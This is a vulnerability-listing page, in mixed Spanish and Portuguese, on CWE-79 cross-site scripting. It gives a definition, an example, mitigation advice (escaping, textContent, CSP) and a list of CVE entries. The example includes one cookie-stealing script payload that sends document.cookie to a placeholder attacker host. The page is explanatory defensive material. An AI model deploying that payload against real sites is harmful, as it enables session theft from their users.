Fallos del tipo CWE-79

30.537 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-11808MEDIUMShortcode for Google Street View <= 0.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2026-112097MEDIUMSourceCodester Inventory System Sales Management transactions_handler.php save_sale cross site scriptingEPSS 0.2%CVE-2025-11764MEDIUMShortcodes Bootstrap <= 1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-58920HIGHWordPress Cerato theme <= 2.2.18 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-27265MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2026-27233MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-12823MEDIUMCSV to SortTable <= 4.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-27236MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-6251MEDIUMRoyal Elementor Addons and Templates <= 1.7.1036 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-13054MEDIUMUser Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor <= 3.14.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2026-105173MEDIUMcode-projects Human Resource Management Event Creation EventStore.php cross site scriptingEPSS 0.2%CVE-2026-9024HIGHStored Cross-site Scripting (XSS) vulnerability affecting Process Experience Studio in DELMIA Service Process Engineer from Release 3DEXPERIENCE R2024x through Release 3DEXPERIENCE R2026xEPSS 0.2%CVE-2025-54016MEDIUMWordPress Videopack plugin <= 4.10.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-54729MEDIUMWordPress Webba Booking Plugin <= 6.0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-11767MEDIUMTips Shortcode <= 0.2.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-43744MEDIUMA stored DOM-based Cross-Site Scripting (XSS) vulnerability in Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q2.0 through 202EPSS 0.2%CVE-2026-108942MEDIUMphilz1337x clarity-upscaler Extra Networks Card Rendering ui_extra_networks.py create_html_for_item cross site scriptingEPSS 0.2%CVE-2026-4067MEDIUMAd Short <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'client' Shortcode AttributeEPSS 0.2%CVE-2026-43939HIGHYAF.NET: Stored XSS in Forum Thread Posts/Replies Allowing Arbitrary JavaScript Execution for All Thread ViewersEPSS 0.2%CVE-2026-27248MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%